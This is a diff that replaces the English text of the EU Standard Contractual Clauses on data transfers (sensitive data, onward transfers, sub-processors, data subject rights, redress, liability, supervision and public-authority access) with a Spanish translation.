-**8.7 Sensitive data** 
+**8.7 Datos sensibles**
 
-Where the transfer involves personal data revealing racial or ethnic origin, political opinions, religious or philosophical beliefs, or trade union membership, genetic data, or biometric data for the purpose of uniquely identifying a natural person, data concerning health or a person’s sex life or sexual orientation, or data relating to criminal convictions and offences (hereinafter ‘sensitive data’), the data importer shall apply the specific restrictions and/or additional safeguards described in Annex I.B. 
+En donde la transferencia involucre datos personales que revelen el origen étnico o racial, las opciones públicas, las creencias filosóficas o religiosas o las afiliaciones sindicales, datos genéticos o biométricos para el propósito único de identificar a una persona natural, los datos que correspondan a la salud o vida sexual u orientación sexual de una persona o aquellos relacionados con condenas y ofensas criminales (en lo subsecuente ‘datos sensibles’), el importador de datos deberá aplicar las restricciones específicas y/o las salvaguardas adicionales descritas en el Anexo I.B.
 
-**8.8 Onward transfers** 
+**8.8 Transferencias posteriores**
 
-The data importer shall only disclose the personal data to a third party on documented instructions from the data exporter. In addition, the data may only be disclosed to a third party located outside the European Union <sup><a href="#EEA">(1)</a></sup> (in the same country as the data importer or in another third country, hereinafter ‘onward transfer’) if the third party is or agrees to be bound by these Clauses, under the appropriate Module, or if: 
+El importador de datos solo deberá divulgar los datos personales a un tercero si este se encuentra en las instrucciones documentadas del exportador de datos. Adicionalmente, los datos solo podrán divulgarse a un tercero que se ubique fuera de la Unión Europea <sup><a href="#EEA">(1)</a></sup> (en el mismo país que el importador de datos o en otro país tercero, en lo subsecuente ‘transferencia posterior’) si el tercero está o acuerda estar de acuerdo con estas Cláusulas, bajo el Módulo adecuado o en caso de que:
 
 <ol style="list-style-type:lower-roman" class="no-styling">
-    <li>the onward transfer is to a country benefitting from an adequacy decision pursuant to Article 45 of Regulation (EU) 2016/679 that covers the onward transfer;</li>
-    <li>the third party otherwise ensures appropriate safeguards pursuant to Articles 46 or 47 Regulation of (EU) 2016/679 with respect to the processing in question;</li>
-    <li>the onward transfer is necessary for the establishment, exercise or defence of legal claims in the context of specific administrative, regulatory or judicial proceedings; or</li>
-    <li>the onward transfer is necessary in order to protect the vital interests of the data subject or of another natural person.</li></br>
-    Any onward transfer is subject to compliance by the data importer with all the other safeguards under these Clauses, in particular purpose limitation. 
+    <li>la transferencia posterior sea hacia un país que se beneficia de una decisión de reconocimiento conforme al Artículo 45 de la Regulación (UE) 2016/679 que cubre la transferencia posterior;</li>
+    <li>el tercero asegure de otra forma las salvaguardas adecuadas de acuerdo con los Artículos 46 o 47 de la Regulación (UE) 2016/679 con respecto al procesamiento en cuestión;</li>
+    <li>la transferencia posterior sea necesaria para establecer, ejercer o defender las reclamaciones legales en el contexto de los procedimientos administrativos, regulatorios o judiciales específicos; o</li>
+    <li>la transferencia posterior sea necesaria para proteger los intereses vitales del sujeto de datos o de cualquier otra persona natural.</li></br>
+    Cualquier transferencia posterior está sujeta al cumplimiento mediante el importador de datos para con el resto de las salvaguardas bajo estas Cláusulas, en limitación de propósitos particulares. 
 </ol>
 
-**8.9 Documentation and compliance** 
+**8.9 Documentación y cumplimiento**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>The data importer shall promptly and adequately deal with enquiries from the data exporter that relate to the processing under these Clauses.</li>
-    <li>The Parties shall be able to demonstrate compliance with these Clauses. In particular, the data importer shall keep appropriate documentation on the processing activities carried out on behalf of the data exporter.</li>
-    <li>The data importer shall make available to the data exporter all information necessary to demonstrate compliance with the obligations set out in these Clauses and at the data exporter’s request, allow for and contribute to audits of the processing activities covered by these Clauses, at reasonable intervals or if there are indications of non-compliance. In deciding on a review or audit, the data exporter may take into account relevant certifications held by the data importer.</li>
-    <li>The data exporter may choose to conduct the audit by itself or mandate an independent auditor. Audits may include inspections at the premises or physical facilities of the data importer and shall, where appropriate, be carried out with reasonable notice.</li>
-    <li>The Parties shall make the information referred to in paragraphs (b) and (c), including the results of any audits, available to the competent supervisory authority on request.</li>
-</ol>
- 
-
-##### Clause 9
-
-**Use of sub-processors** 
-
-<ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>GENERAL WRITTEN AUTHORISATION The data importer has the data exporter’s general authorisation for the engagement of sub-processor(s) from an agreed list. The data importer shall specifically inform the data exporter in writing of any intended changes to that list through the addition or replacement of sub-processors at least 90 days in advance, thereby giving the data exporter sufficient time to be able to object to such changes prior to the engagement of the sub-processor(s). The data importer shall provide the data exporter with the information necessary to enable the data exporter to exercise its right to object.</li>
-    <li>Where the data importer engages a sub-processor to carry out specific processing activities (on behalf of the data exporter), it shall do so by way of a written contract that provides for, in substance, the same data protection obligations as those binding the data importer under these Clauses, including in terms of third-party beneficiary rights for data subjects.<sup><a href="#dsr_reqs">(2)</a></sup> The Parties agree that, by complying with this Clause, the data importer fulfils its obligations under Clause 8.8. The data importer shall ensure that the sub-processor complies with the obligations to which the data importer is subject pursuant to these Clauses.</li>
-    <li>The data importer shall provide, at the data exporter’s request, a copy of such a sub-processor agreement and any subsequent amendments to the data exporter. To the extent necessary to protect business secrets or other confidential information, including personal data, the data importer may redact the text of the agreement prior to sharing a copy.</li>
-    <li>The data importer shall remain fully responsible to the data exporter for the performance of the sub-processor’s obligations under its contract with the data importer. The data importer shall notify the data exporter of any failure by the sub-processor to fulfil its obligations under that contract.</li>
-    <li>The data importer shall agree a third-party beneficiary clause with the sub-processor whereby – in the event the data importer has factually disappeared, ceased to exist in law or has become insolvent – the data exporter shall have the right to terminate the sub-processor contract and to instruct the sub-processor to erase or return the personal data.</li>
+    <li>El importador de datos deberá tratar rápida y adecuadamente las consultas del exportador de datos que se relacionen con el procesamiento de estas Cláusulas.</li>
+    <li>Las Partes deberán demostrar el cumplimiento con estas Cláusulas. En particular, el importador de datos deberá mantener la documentación adecuada de las actividades de procesamiento que se llevan a cabo en nombre del exportador de datos.</li>
+    <li>El importador de datos deberá poner a disposición del exportador de datos toda la información necesaria para demostrar el cumplimiento con las obligaciones que se describen en las presentes Cláusulas y conforme lo solicite el exportador de datos, permitir y contribuir con las auditorías de las actividades de procesamiento que cubren estas Cláusulas, en intervalos razonables o si existen indicaciones de incumplimiento. Cuando decida sobre alguna revisión o auditoría, el exportador de datos deberá tomar en cuenta las certificaciones relevantes que ostente el importador de datos.</li>
+    <li>El exportador de datos podría elegir llevar a cabo la auditoría por sí mismo o encomendar a un auditor independiente. Las Auditorías podrían incluir inspecciones en las instalaciones o lugares físicos del importador de datos y deberán, conforme sea adecuado, llevarse a cabo con la notificación correspondiente por adelantado.</li>
+    <li>Las Partes deberán poner a disposición de la autoridad supervisora competente la información que se referencia en los párrafos (b) y (c), incluyendo los resultados de las auditorías, bajo petición.</li>
 </ol>
 
-##### Clause 10
+##### Cláusula 9
 
-**Data subject rights**
+**Uso de subprocesadores**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>The data importer shall promptly notify the data exporter of any request it has received from a data subject. It shall not respond to that request itself unless it has been authorised to do so by the data exporter.</li>
-    <li>The data importer shall assist the data exporter in fulfilling its obligations to respond to data subjects’ requests for the exercise of their rights under Regulation (EU) 2016/679. In this regard, the Parties shall set out in Annex II the appropriate technical and organisational measures, taking into account the nature of the processing, by which the assistance shall be provided, as well as the scope and the extent of the assistance required.</li>
-    <li>In fulfilling its obligations under paragraphs (a) and (b), the data importer shall comply with the instructions from the data exporter.</li>
+    <li>AUTORIZACIÓN GENERAL POR ESCRITO El importador de datos tiene la autorización general del exportador de datos para contratar a los subprocesadores de la lista que hayan acordado. El importador de datos deberá informar específicamente al exportador de datos por escrito y con 90 días de antelación sobre cualquier cambio previsto a dicha lista si existe la adición o reemplazo de los subprocesadores, otorgando así al exportador de datos tiempo suficiente para poder objetar dichos cambios antes de la contratación de dichos subprocesadores. El importador de datos deberá proporcionar al exportador de datos la información necesaria para habilitar al exportador de datos para ejercer su derecho de objeción.</li>
+    <li>Cuando el importador de datos contrate un subprocesador para que lleve a cabo las actividades de procesamiento específico (en nombre del exportador de datos), este deberá hacerlo mediante un contrato por escrito que proporcione, en sustancia, las mismas obligaciones de protección de datos que aquellas que vinculan al importador de datos con estas Cláusulas, incluyendo aquellas de los términos de los derechos de beneficiarios terceros para los sujetos de datos.<sup><a href="#dsr_reqs">(2)</a></sup> Las partes acuerdan que, al cumplir con esta Cláusula, el importador de datos cumple sus obligaciones bajo la cláusula 8.8. El importador de datos deberá garantizar que el subprocesador cumple con las obligaciones con las que este mismo acordó en las presentes Cláusulas.</li>
+    <li>El importador de datos deberá proporcionar, bajo solicitud del exportador de datos, una copia del acuerdo con el subprocesador de datos y cualquier enmienda subsecuente al exportador de datos. En medida de lo necesario para proteger los secretos de negocio o cualquier otra información confidencial, incluyendo los datos personales, el importador de datos podría redactar el texto del acuerdo antes de compartir una copia.</li>
+    <li>El importador de datos seguirá siendo completamente responsable ante el exportador de datos por el desempeño de las obligaciones del subprocesador bajo su contrato con el importador de datos. El importador de datos deberá notificar al exportador de datos de cualquier falla del procesador para cumplir con sus obligaciones bajo ese contrato.</li>
+    <li>El importador de datos deberá acordar una cláusula de beneficiarios terceros con el subprocesador en donde, en caso de que el importador de datos haya desaparecido realmente, dejado de existir legalmente o sea insolvente, el exportador de datos tendrá el derecho de terminar el contrato con el subprocesador e instruirá a dicho subprocesador para borrar o devolver los datos personales.</li>
 </ol>
 
-##### Clause 11
+##### Cláusula 10
 
-**Redress**
+**Derechos del sujeto de datos**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>The data importer shall inform data subjects in a transparent and easily accessible format, through individual notice or on its website, of a contact point authorised to handle complaints. It shall deal promptly with any complaints it receives from a data subject.</li>
-    <li>In case of a dispute between a data subject and one of the Parties as regards compliance with these Clauses, that Party shall use its best efforts to resolve the issue amicably in a timely fashion. The Parties shall keep each other informed about such disputes and, where appropriate, cooperate in resolving them.</li>
-    <li>Where the data subject invokes a third-party beneficiary right pursuant to Clause 3, the data importer shall accept the decision of the data subject to:</li>
+    <li>El importador de datos deberá notificar inmediatamente al exportador de datos sobre cualquier solicitud que haya recibido de un sujeto de datos. Este no deberá responder a dicha solicitud por sí mismo, a menos de que el exportador de datos lo haya autorizado para hacerlo.</li>
+    <li>El importador de datos deberá ayudar al exportador de datos para cumplir con sus obligaciones para responder a las solicitudes del sujeto de datos para ejercer sus derechos bajo la regulación (UE) 2016/679. De esta forma, las Partes deberán establecer en el Anexo II las medidas organizacionales y técnicas adecuadas, tomando en cuenta la naturaleza del procesamiento, mediante el cual deberá proporcionarse la asistencia, así como el alcance y la amplitud que se requieren para esta.</li>
+    <li>Para cumplir sus obligaciones conforme a los párrafos (a) y (b), el importador de datos deberá cumplir con las indicaciones del exportador de datos.</li>
+</ol>
+
+##### Cláusula 11
+
+**Compensación**
+
+<ol style="list-style-type:lower-alpha" class="no-styling">
+    <li>El importador de datos deberá informar a los sujetos de datos sobre un formato transparente y de fácil acceso, mediante notificaciones individuales o a través de su sitio web, sobre un punto de contacto autorizado para tramitar las quejas. Deberá tratarlas sin demora con cualquier queja que reciba de cualquier sujeto de datos.</li>
+    <li>En caso de disputa entre un sujeto de datos y alguna de las Partes en cuanto al cumplimiento con dichas Cláusulas, esta Parte deberá hacer su mejor esfuerzo para resolver el problema de forma amistosa y oportuna. Las Partes deberán mantenerse informadas sobre dichas disputas y, conforme sea adecuado, cooperar para resolverlas.</li>
+    <li>Cuando el sujeto de datos invoque un derecho beneficiario de terceros de acuerdo con la Cláusula 3, el importador deberá aceptar la decisión del sujeto de datos para:</li>
     <ol style="list-style-type:lower-roman" class="no-styling">
-        <li>lodge a complaint with the supervisory authority in the Member State of his/her habitual residence or place of work, or the competent supervisory authority pursuant to Clause 13;</li>
-        <li>refer the dispute to the competent courts within the meaning of Clause 18.</li>
+        <li>presentar una queja con una autoridad supervisora en el Estado miembro de su residencia habitual o lugar de trabajo o con la autoridad supervisora competente de acuerdo con la Cláusula 13;</li>
+        <li>referir la disputa a las cortes competentes conforme el sentido de la Clausula 18.</li>
     </ol>
-    <li>The Parties accept that the data subject may be represented by a not-for-profit body, organisation or association under the conditions set out in Article 80(1) of Regulation (EU) 2016/679.</li>
-    <li>The data importer shall abide by a decision that is binding under the applicable EU or Member State law.</li>
-    <li>The data importer agrees that the choice made by the data subject will not prejudice his/her substantive and procedural rights to seek remedies in accordance with applicable laws.</li>
+    <li>Las Partes aceptan que los sujetos de datos podrían representarse mediante un cuerpo sin fines de lucro, organización o asociación bajo las condiciones que se describen en el Artículo 80(1) de la Regulación (UE) 2016/679.</li>
+    <li>El importador de datos deberá acatar la decisión que lo vincula con la ley aplicable del Estado miembro o la UE.</li>
+    <li>El importador de datos concuerda con que la elección que realice el sujeto de datos no perjudicará sus derechos procesales y sustanciales para buscar remedios de acuerdo con las leyes aplicables.</li>
 </ol>
 
-##### Clause 12
+##### Cláusula 12
 
-**Liability**
+**Responsabilidades**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>Each Party shall be liable to the other Party/ies for any damages it causes the other Party/ies by any breach of these Clauses.</li>
-    <li>The data importer shall be liable to the data subject, and the data subject shall be entitled to receive compensation, for any material or non-material damages the data importer or its sub-processor causes the data subject by breaching the third-party beneficiary rights under these Clauses.</li>
-    <li>Notwithstanding paragraph (b), the data exporter shall be liable to the data subject, and the data subject shall be entitled to receive compensation, for any material or non-material damages the data exporter or the data importer (or its sub-processor) causes the data subject by breaching the third-party beneficiary rights under these Clauses. This is without prejudice to the liability of the data exporter and, where the data exporter is a processor acting on behalf of a controller, to the liability of the controller under Regulation (EU) 2016/679 or Regulation (EU) 2018/1725, as applicable.</li>
-    <li>The Parties agree that if the data exporter is held liable under paragraph (c) for damages caused by the data importer (or its sub-processor), it shall be entitled to claim back from the data importer that part of the compensation corresponding to the data importer’s responsibility for the damage.</li>
-    <li>Where more than one Party is responsible for any damage caused to the data subject as a result of a breach of these Clauses, all responsible Parties shall be jointly and severally liable and the data subject is entitled to bring an action in court against any of these Parties.</li>
-    <li>The Parties agree that if one Party is held liable under paragraph (e), it shall be entitled to claim back from the other Party/ies that part of the compensation corresponding to its/their responsibility for the damage.</li>
-    <li>The data importer may not invoke the conduct of a sub-processor to avoid its own liability.</li>
+    <li>Cada Parte debe ser responsable del resto de las Partes por los daños que cause la otra Parte por cualquier violación de estas Cláusulas.</li>
+    <li>El importador de datos deberá ser responsable por el sujeto de datos y el sujeto de datos deberá tener derecho a recibir una compensación por cualquier daño material o no material que el importador o su subprocesador le cause con la violación de los derechos beneficiarios de terceros bajo estas Cláusulas.</li>
+    <li>No obstante al párrafo (b), el exportador de datos deberá ser responsable del sujeto de datos y el sujeto de datos deberá tener el derecho de recibir una compensación por cualquier daño material o no material que le ocasionen el exportador o importador de datos (o sus subprocesadores) con la violación de los derechos beneficiarios de terceros bajo estas Cláusulas. Esto no implica un perjuicio a la responsabilidad del exportador de datos y, cuando el exportador de datos sea un procesador que actúe en nombre de un controlador, a la responsabilidad del controlador bajo la Regulación (UE) 2016/679 o la Regulación (UE) 2108/1725, conforme sea aplicable.</li>
+    <li>Las Partes acuerdan que, si el exportador de datos se considera responsable bajo el párrafo (c) por los daños ocasionados al importador de datos (o su subprocesador), este deberá tener el derecho a hacer una contra-reclamación del importador de datos de que parte de esa compensación corresponde a la responsabilidad del importador de datos por el daño.</li>
+    <li>Cuando más de una Parte sea responsable por cualquier daño ocasionado al sujeto de datos como resultado de una violación a estas Cláusulas, todas las Partes responsables deberán ostentar la responsabilidad severa y conjunta y el sujeto de datos tendrá el derecho de tomar acción judicial contra cualquiera de ellas.</li>
+    <li>Las Partes concuerdan que, si una de ellas se considera responsable bajo el párrafo (e), esta deberá tener derecho de reclamar a otras Partes la parte de la compensación correspondiente a su responsabilidad por el daño.</li>
+    <li>El importador de datos podría no invocar la conducta de un subprocesador para evitar su propia responsabilidad.</li>
 </ol>
 
-##### Clause 13
+##### Cláusula 13
 
-**Supervision**
+**Supervisión**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>[Where the data exporter is established in an EU Member State:] The supervisory authority with responsibility for ensuring compliance by the data exporter with Regulation (EU) 2016/679 as regards the data transfer, as indicated in Annex I.C, shall act as competent supervisory authority. <br/></br>
-    [Where the data exporter is not established in an EU Member State, but falls within the territorial scope of application of Regulation (EU) 2016/679 in accordance with its Article 3(2) and has appointed a representative pursuant to Article 27(1) of Regulation (EU) 2016/679:] The supervisory authority of the Member State in which the representative within the meaning of Article 27(1) of Regulation (EU) 2016/679 is established, as indicated in Annex I.C, shall act as competent supervisory authority.</br></br>
-    [Where the data exporter is not established in an EU Member State, but falls within the territorial scope of application of Regulation (EU) 2016/679 in accordance with its Article 3(2) without however having to appoint a representative pursuant to Article 27(2) of Regulation (EU) 2016/679:] The supervisory authority of one of the Member States in which the data subjects whose personal data is transferred under these Clauses in relation to the offering of goods or services to them, or whose behaviour is monitored, are located, as indicated in Annex I.C, shall act as competent supervisory authority.</li></br>    
-    <li> The data importer agrees to submit itself to the jurisdiction of and cooperate with the competent supervisory authority in any procedures aimed at ensuring compliance with these Clauses. In particular, the data importer agrees to respond to enquiries, submit to audits and comply with the measures adopted by the supervisory authority, including remedial and compensatory measures. It shall provide the supervisory authority with written confirmation that the necessary actions have been taken.</li>
+    <li>[Donde el exportador de datos se establezca en un Estado Miembro de la UE:] La autoridad supervisora con la responsabilidad de garantizar el cumplimiento del exportador de datos con la Regulación (UE) 2016/679 con respecto a la transferencia de datos, de acuerdo a lo indicado en el Anexo I.C, deberá actuar como la autoridad supervisora competente. <br/></br>
+    [Cuando el exportador de datos no esté establecido en un Estado Miembro de la UE, pero esté dentro del alcance territorial de la aplicación de la Regulación (UE) 2016/679 de acuerdo con su Artículo 3(2) y haya designado a un representante de acuerdo con el Artículo 27(1) de la Regulación (UE) 2016/679:] La autoridad supervisora del Estado miembro en el que el representante dentro del sentido del Artículo 27(1) de la Regulación (UE) 2016/679 y establecido como se indica en el Anexo I.C, deberá actuar como la autoridad supervisora competente.</br></br>
+    [Cuando el exportador de datos no esté establecido en un Estado Miembro de la UE, pero esté dentro del alcance territorial de la aplicación de la Regulación (UE) 2016/679 de acuerdo con su artículo 3(2) sin tener que designar a un representante de acuerdo con el Artículo 27(2) de la Regulación (UE) 2016/679:] La autoridad supervisora de uno de los Estados Miembro en donde el sujeto de datos cuyos datos personales se transfieren bajo estas Cláusulas en relación con el ofrecimiento de bienes o servicios hacia ellos, o cuyo comportamiento se monitoree, se ubicará, de acuerdo con lo que indica el Anexo I.C, y actuará como autoridad supervisora competente.</li></br>    
+    <li> El importador de datos acuerda emitirse a sí mismo a la jurisdicción y cooperar con la autoridad supervisora competente en cualquier procedimiento que pretenda garantizar el cumplimiento con estas Cláusulas. Particularmente, el importador de datos acuerda responder a las consultas, emitir a las auditorías y cumplir con las medidas que adopte la autoridad supervisora, incluyendo aquellas compensatorias y de remediación. Este deberá proporcionar confirmación por escrito a la autoridad supervisora de que las acciones necesarias se han tomado.</li>
 </ol>
 
-#### SECTION III – LOCAL LAWS AND OBLIGATIONS IN CASE OF ACCESS BY PUBLIC AUTHORITIES
+#### SECCIÓN III – LEYES Y OBLIGACIONES LOCALES EN CASO DE ACCESO DE LAS AUTORIDADES PÚBLICAS
 
-##### Clause 14
+##### Cláusula 14
+
+**Leyes y prácticas locales que afectan el cumplimiento con las Cláusulas**
 
-**Local laws and practices affecting compliance with the Clauses**
- 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>The Parties warrant that they have no reason to believe that the laws and practices in the third country of destination applicable to the processing of the personal data by the data importer, including any requirements to disclose personal data or measures authorising access by public authorities, prevent the data importer from fulfilling its obligations under these Clauses. This is based on the understanding that laws and practices that respect the essence of the fundamental rights and freedoms and do not exceed what is necessary and proportionate in a democratic society to safeguard one of the objectives listed in Article 23(1) of Regulation (EU) 2016/679, are not in contradiction with these Clauses.</li>
-    <li>The Parties declare that in providing the warranty in paragraph (a), they have taken due account in particular of the following elements:</li>
+    <li>Las Partes garantizan que no tienen razón para pensar que las leyes y prácticas locales en el país tercero de destino aplicable para el procesamiento de los datos personales por medio del importador de datos, incluyendo cualquier requisito para divulgar datos personales o medidas de autorización de acceso mediante autoridades públicas, previenen al importador de datos de cumplir con sus obligaciones bajo estas Cláusulas. Esto se basa en el entendimiento de que las leyes y prácticas que respetan la esencia de los derechos y libertades fundamentales y no exceden lo que es necesario y que se proporcionan en una sociedad democrática para salvaguardar uno de los objetivos que se listan en el Artículo 23(1) de la Regulación (UE) 2016/679, no contradicen a estas Cláusulas.</li>
+    <li>Las Partes declaran que, en proporcionar la garantía del párrafo (1), han tomado debidamente en cuenta, particularmente, los siguientes elementos:</li>
     <ol style="list-style-type:lower-roman" class="no-styling">
-        <li>the specific circumstances of the transfer, including the length of the processing chain, the number of actors involved and the transmission channels used; intended onward transfers; the type of recipient; the purpose of processing; the categories and format of the transferred personal data; the economic sector in which the transfer occurs; the storage location of the data transferred;</li>
-        <li>the laws and practices of the third country of destination– including those requiring the disclosure of data to public authorities or authorising access by such authorities – relevant in light of the specific circumstances of the transfer, and the applicable limitations and safeguards <sup><a href="#safeguards">(3)</a></sup>;</li>
-        <li>any relevant contractual, technical or organisational safeguards put in place to supplement the safeguards under these Clauses, including measures applied during transmission and to the processing of the personal data in the country of destination.</li>
+        <li>las circunstancias específicas de la transferencia, incluyendo la longitud de la cadena de procesamiento, la cantidad de actores involucrados en los canales de transmisión que se utilizan; las transferencias subsecuentes previstas; el tipo de receptor; el propósito del procesamiento; las categorías y formatos de los datos personales transferidos; el sector económico en el cual ocurre la transferencia; la ubicación de almacenamiento de los datos transferidos;</li>
+        <li>las leyes y prácticas del país de destino tercero; incluyendo aquellas que requieren la divulgación de los datos a las autoridades públicas o la autorización de acceso a las mismas; pertinentes a la luz de las circunstancias específicas de la transferencia y las limitaciones aplicables y salvaguardas <sup><a href="#safeguards">(3)</a></sup>;</li>
+        <li>cualquier salvaguarda contractual, técnica u organizacional relevante que se establezca para suplementar las salvaguardas bajo estas Cláusulas, incluyendo las medidas que se aplican durante la transmisión y en el procesamiento de los datos personales en el país destino.</li>
     </ol>
-    <li>The data importer warrants that, in carrying out the assessment under paragraph (b), it has made its best efforts to provide the data exporter with relevant information and agrees that it will continue to cooperate with the data exporter in ensuring compliance with these Clauses.</li>
-    <li>The Parties agree to document the assessment under paragraph (b) and make it available to the competent supervisory authority on request.</li>
-    <li>The data importer agrees to notify the data exporter promptly if, after having agreed to these Clauses and for the duration of the contract, it has reason to believe that it is or has become subject to laws or practices not in line with the requirements under paragraph (a), including following a change in the laws of the third country or a measure (such as a disclosure request) indicating an application of such laws in practice that is not in line with the requirements in paragraph (a).</li>
-    <li>Following a notification pursuant to paragraph (e), or if the data exporter otherwise has reason to believe that the data importer can no longer fulfil its obligations under these Clauses, the data exporter shall promptly identify appropriate measures (e.g. technical or organisational measures to ensure security and confidentiality) to be adopted by the data exporter and/or data importer to address the situation. The data exporter shall suspend the data transfer if it considers that no appropriate safeguards for such transfer can be ensured, or if instructed by the competent supervisory authority to do so. In this case, the data exporter shall be entitled to terminate the contract, insofar as it concerns the processing of personal data under these Clauses. If the contract involves more than two Parties, the data exporter may exercise this right to termination only with respect to the relevant Party, unless the Parties have agreed otherwise. Where the contract is terminated pursuant to this Clause, Clause 16(d) and (e) shall apply.</li>
+    <li>El importador de datos garantiza que, al llevar a cabo la valoración del párrafo (b), ha realizado su mejor esfuerzo para proporcionar al exportador de datos la información relevante y acuerda que seguirá cooperando con este para garantizar el cumplimiento con las Cláusulas.</li>
+    <li>Las Partes acuerdan en documentar la valoración del párrafo (b) y hacerla disponible a la autoridad supervisora competente bajo solilcitud.</li>
+    <li>El importador de datos acuerda notificar oportunamente al exportador de datos en caso de que, después de haber acordado con las presentes Cláusulas y por la duración de este contrato, tiene razón de pensar que es o se ha hecho sujeto a las leyes o prácticas que no se alineen con los requisitos del párrafo (a), incluyendo el seguir un cambio en las leyes del país tercero o una medida (tal como la solicitud de divulgación) que indique una aplicación de dichas leyes en la práctica que no se alinee con los requisitos del párrafo (a).</li>
+    <li>Al seguir una notificación de acuerdo con el párrafo (e) o, si el exportador tiene alguna otra razón de pensar que el importador de datos ya no puede cumplir con sus obligaciones bajo estas Cláusulas, el exportador de datos deberá identificar inmediatamente las medidas adecuadas (por ejemplo: medidas organizacionales o técnicas para garantizar la seguridad y confidencialidad) que debe adoptar él mismo o el exportador de datos para tratar la situación. El exportador de datos deberá suspender la transferencia de datos si considera que no hay salvaguardas adecuadas que se puedan garantizar para esta o si se lo indica la autoridad supervisora competente. En este caso, el exportador de datos deberá tener el derecho de terminar el contrato en la medida en la que se refiera al procesamiento de los datos personales bajo estas Cláusulas. Si el contrato involucra a más de dos Partes, el exportador de datos podría ejercer este derecho a la terminación únicamente con respecto a la Parte relevante, a menos de que las Partes hayan convenido lo contrario. Cuando el contrato finalice de acuerdo con esta Cláusula, aplicarán las fracciones 16(d) y (e) de la misma.</li>
 </ol>
 
-##### Clause 15
+##### Cláusula 15
 
-**Obligations of the data importer in case of access by public authorities**
+**Obligaciones del importador de datos en caso de acceso por parte de las autoridades públicas**
 
-**15.1 Notification**
+**15.1 Notificación**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>The data importer agrees to notify the data exporter and, where possible, the data subject promptly (if necessary with the help of the data exporter) if it:</li>
+    <li>El importador de datos acuerda notificar al exportador de datos y, cuando sea posible, al sujeto de datos inmediatamente (en caso de ser necesario, con la ayuda del exportador de datos) si este:</li>
     <ol style="list-style-type:lower-roman" class="no-styling">
-        <li>receives a legally binding request from a public authority, including judicial authorities, under the laws of the country of destination for the disclosure of personal data transferred pursuant to these Clauses; such notification shall include information about the personal data requested, the requesting authority, the legal basis for the request and the response provided; or</li>
-        <li>becomes aware of any direct access by public authorities to personal data transferred pursuant to these Clauses in accordance with the laws of the country of destination; such notification shall include all information available to the importer.</li>
+        <li>recibe una solicitud de una autoridad pública que lo vincule legalmente, incluyendo las autoridades judiciales, bajo las leyes del país destino para la divulgación de datos personales transferidos de acuerdo con estas Cláusulas; tal notificación deberá incluir información de los datos personales solicitados, la autoridad solicitante, las bases legales de la solicitud y la respuesta proporcionada; o</li>
+        <li>se entera de que existe cualquier acceso directo por parte de las autoridades públicas a los datos personales transferidos de acuerdo con estas Cláusulas de acuerdo con las leyes del país destino; tal información deberá incluir toda aquella disponible para el importador.</li>
     </ol>
-    <li>If the data importer is prohibited from notifying the data exporter and/or the data subject under the laws of the country of destination, the data importer agrees to use its best efforts to obtain a waiver of the prohibition, with a view to communicating as much information as possible, as soon as possible. The data importer agrees to document its best efforts in order to be able to demonstrate them on request of the data exporter.</li>
-    <li>Where permissible under the laws of the country of destination, the data importer agrees to provide the data exporter, at regular intervals for the duration of the contract, with as much relevant information as possible on the requests received (in particular, number of requests, type of data requested, requesting authority/ies, whether requests have been challenged and the outcome of such challenges, etc.). </li>
-    <li>The data importer agrees to preserve the information pursuant to paragraphs (a) to (c) for the duration of the contract and make it available to the competent supervisory authority on request.</li>
-    <li>Paragraphs (a) to (c) are without prejudice to the obligation of the data importer pursuant to Clause 14(e) and Clause 16 to inform the data exporter promptly where it is unable to comply with these Clauses.</li>
+    <li>Si se le prohíbe al importador de datos el notificar al exportador de datos o al sujeto de datos bajo las leyes del país destino, el importador acuerda utilizar sus mejores esfuerzos para obtener una exención de prohibición, con una vista para comunicar tanta información como sea posible y tan pronto sea posible. El importador de datos acuerda documentar sus mejores esfuerzos para poder demostrarlos bajo solicitud del exportador de datos.</li>
+    <li>Cuando sea permisible bajo las leyes del país destino, el importador de datos acuerda proporcionar al exportador de datos, en intervalos frecuentes durante la duración del contrato, con tanta información relevante como sea posible bajo las solicitudes recibidas (particularmente, la cantidad de solicitudes, tipo de datos solicitados, autoridad(es) solicitantes, si las solicitudes se han impugnado y el resultado de dicha impugnación, etc.). </li>
+    <li>El importador de datos acuerda preservar la información de conformidad con los párrafos del (a) al (c) durante la duración del contrato y ponerla a disposición de la autoridad supervisora competente bajo solicitud.</li>
+    <li>Los párrafos del (a) al (c) no tienen prejuicio para la obligación del importado de datos de conformidad con la Cláusula 14(e) y la Cláusula 16 para informar al exportador de datos inmediatamente cuando no pueda cumplir con estas.</li>
 </ol>
 
-**15.2 Review of legality and data minimisation**
+**15.2 Revisión de la legalidad y minimización de los datos**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>The data importer agrees to review the legality of the request for disclosure, in particular whether it remains within the powers granted to the requesting public authority, and to challenge the request if, after careful assessment, it concludes that there are reasonable grounds to consider that the request is unlawful under the laws of the country of destination, applicable obligations under international law and principles of international comity. The data importer shall, under the same conditions, pursue possibilities of appeal. When challenging a request, the data importer shall seek interim measures with a view to suspending the effects of the request until the competent judicial authority has decided on its merits. It shall not disclose the personal data requested until required to do so under the applicable procedural rules. These requirements are without prejudice to the obligations of the data importer under Clause 14(e).</li>
-    <li>The data importer agrees to document its legal assessment and any challenge to the request for disclosure and, to the extent permissible under the laws of the country of destination, make the documentation available to the data exporter. It shall also make it available to the competent supervisory authority on request. </li>
-    <li>The data importer agrees to provide the minimum amount of information permissible when responding to a request for disclosure, based on a reasonable interpretation of the request.</li>
